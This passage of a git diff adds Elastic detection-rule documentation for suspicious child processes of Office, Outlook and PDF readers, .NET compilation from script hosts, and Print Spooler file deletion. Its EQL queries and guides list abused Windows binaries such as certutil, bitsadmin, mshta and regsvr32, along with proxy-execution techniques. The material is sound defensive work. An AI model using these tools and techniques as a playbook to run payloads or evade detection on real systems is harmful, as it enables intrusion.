Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious MS Office Child Process* + + +Microsoft Office (MS Office) is a suite of applications designed to help with productivity and completing common tasks on a computer. You can create and edit documents containing text and images, work with data in spreadsheets and databases, and create presentations and posters. As it is some of the most-used software across companies, MS Office is frequently targeted for initial access. It also has a wide variety of capabilities that attackers can take advantage of. + +This rule looks for suspicious processes spawned by MS Office programs. This is generally the result of the execution of malicious documents. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve MS Office documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ( + "eqnedt32.exe", "excel.exe", "fltldr.exe", "msaccess.exe", + "mspub.exe", "powerpnt.exe", "winword.exe", "outlook.exe" + ) and + process.name : ( + "Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", + "certutil.exe", "cmd.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", "iexpress.exe", + "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", "net1.exe", "netsh.exe", + "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", "pwsh.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", "regsvcs.exe", "regsvr32.exe", "sc.exe", + "schtasks.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", + "xwizard.exe", "explorer.exe", "rundll32.exe", "hh.exe", "msdt.exe" + ) and + not ( + process.parent.name : "outlook.exe" and + process.name : "rundll32.exe" and + process.args : "shell32.dll,Control_RunDLL" and + process.args : "srchadmin.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-ms-outlook-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-ms-outlook-child-process.asciidoc new file mode 100644 index 0000000000..36c63ecff3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-ms-outlook-child-process.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-21-suspicious-ms-outlook-child-process]] +=== Suspicious MS Outlook Child Process + +Identifies suspicious child processes of Microsoft Outlook. These child processes are often associated with spear phishing activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 421 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious MS Outlook Child Process* + + +Microsoft Outlook is an email client that provides contact, email calendar, and task management features. Outlook is widely used, either standalone or as part of the Office suite. + +This rule looks for suspicious processes spawned by MS Outlook, which can be the result of the execution of malicious documents and/or exploitation for initial access. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve recently opened files received via email and opened by the user that could cause this behavior. Common locations include but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "outlook.exe" and + process.name : ("Microsoft.Workflow.Compiler.exe", "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", + "cdb.exe", "certutil.exe", "cmd.exe", "cmstp.exe", "cscript.exe", "csi.exe", "dnx.exe", "dsget.exe", + "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "hostname.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "ipconfig.exe", "mshta.exe", "msxsl.exe", "nbtstat.exe", "net.exe", + "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "odbcconf.exe", "ping.exe", "powershell.exe", + "pwsh.exe", "qprocess.exe", "quser.exe", "qwinsta.exe", "rcsi.exe", "reg.exe", "regasm.exe", + "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", "systeminfo.exe", "tasklist.exe", + "tracert.exe", "whoami.exe", "wmic.exe", "wscript.exe", "xwizard.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-net-code-compilation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-net-code-compilation.asciidoc new file mode 100644 index 0000000000..22f465e4a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-net-code-compilation.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-21-suspicious-net-code-compilation]] +=== Suspicious .NET Code Compilation + +Identifies executions of .NET compilers with suspicious parent processes, which can indicate an attacker's attempt to compile code after delivery in order to bypass security mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious .NET Code Compilation* + + +.NET compilers like `csc.exe` and `vbc.exe` are integral to compiling C# and VB.NET code, respectively, in Windows environments. Adversaries exploit these compilers by executing them with unusual parent processes, such as scripting engines or system utilities, to compile malicious code stealthily. The detection rule identifies such anomalies by monitoring compiler executions initiated by suspicious parent processes, signaling potential evasion or execution tactics. + + +*Possible investigation steps* + + +- Review the process tree to understand the relationship between the suspicious parent process (e.g., wscript.exe, mshta.exe) and the .NET compiler process (csc.exe or vbc.exe) to determine if the execution flow is typical or anomalous. +- Examine the command-line arguments used by the .NET compiler process to identify any potentially malicious code or scripts being compiled. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Investigate the source and integrity of the parent process executable to ensure it has not been tampered with or replaced by a malicious version. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Analyze network activity from the host around the time of the alert to detect any suspicious outbound connections that may indicate data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate software development activities may trigger this rule if developers use scripting engines or system utilities to automate the compilation of .NET code. To manage this, identify and whitelist known development environments or scripts that frequently compile code using these methods. +- System administrators might use scripts or automation tools that invoke .NET compilers for maintenance tasks. Review and document these processes, then create exceptions for recognized administrative scripts to prevent unnecessary alerts. +- Some enterprise applications may use .NET compilers as part of their normal operation, especially if they dynamically generate or compile code. Investigate these applications and exclude their processes from the rule if they are verified as non-threatening. +- Security tools or monitoring solutions might simulate suspicious behavior for testing purposes, which could trigger this rule. Coordinate with your security team to identify such tools and exclude their activities from detection. +- In environments where custom scripts are frequently used for deployment or configuration, ensure these scripts are reviewed and, if safe, added to an exclusion list to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution or spread of potentially malicious code. +- Terminate any suspicious processes identified, such as `csc.exe` or `vbc.exe`, that are running with unusual parent processes. +- Conduct a thorough scan of the isolated system using updated antivirus and endpoint detection tools to identify and remove any malicious files or remnants. +- Review and analyze the execution logs to determine the source and scope of the threat, focusing on the parent processes like `wscript.exe` or `mshta.exe` that initiated the compiler execution. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated through cleaning. +- Implement application whitelisting to prevent unauthorized execution of compilers and scripting engines by non-standard parent processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("csc.exe", "vbc.exe") and + process.parent.name : ("wscript.exe", "mshta.exe", "cscript.exe", "wmic.exe", "svchost.exe", "rundll32.exe", "cmstp.exe", "regsvr32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-pdf-reader-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-pdf-reader-child-process.asciidoc new file mode 100644 index 0000000000..b8267aaa98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-pdf-reader-child-process.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-21-suspicious-pdf-reader-child-process]] +=== Suspicious PDF Reader Child Process + +Identifies suspicious child processes of PDF reader applications. These child processes are often launched via exploitation of PDF applications or social engineering. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious PDF Reader Child Process* + + +PDF is a common file type used in corporate environments and most machines have software to handle these files. This creates a vector where attackers can exploit the engines and technology behind this class of software for initial access or privilege escalation. + +This rule looks for commonly abused built-in utilities spawned by a PDF reader process, which is likely a malicious behavior. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve PDF documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("AcroRd32.exe", + "Acrobat.exe", + "FoxitPhantomPDF.exe", + "FoxitReader.exe") and + process.name : ("arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", + "whoami.exe", "bginfo.exe", "cdb.exe", "cmstp.exe", "csi.exe", "dnx.exe", "fsi.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "Microsoft.Workflow.Compiler.exe", "msbuild.exe", "mshta.exe", + "msxsl.exe", "odbcconf.exe", "rcsi.exe", "regsvr32.exe", "xwizard.exe", "atbroker.exe", + "forfiles.exe", "schtasks.exe", "regasm.exe", "regsvcs.exe", "cmd.exe", "cscript.exe", + "powershell.exe", "pwsh.exe", "wmic.exe", "wscript.exe", "bitsadmin.exe", "certutil.exe", "ftp.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-file-deletion.asciidoc new file mode 100644 index 0000000000..9331e193ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-print-spooler-file-deletion.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-suspicious-print-spooler-file-deletion]] +=== Suspicious Print Spooler File Deletion + +Detects deletion of print driver files by an unusual process. This may indicate a clean up attempt post successful privilege escalation via Print Spooler service related vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 312 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Print Spooler File Deletion* + + +The Print Spooler service in Windows manages print jobs and interactions with printers. Adversaries exploit vulnerabilities in this service to escalate privileges, often deleting print driver files to cover their tracks. The detection rule identifies unusual deletions of these files by processes other than legitimate ones, signaling potential misuse and aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and name of the deleted DLL file within 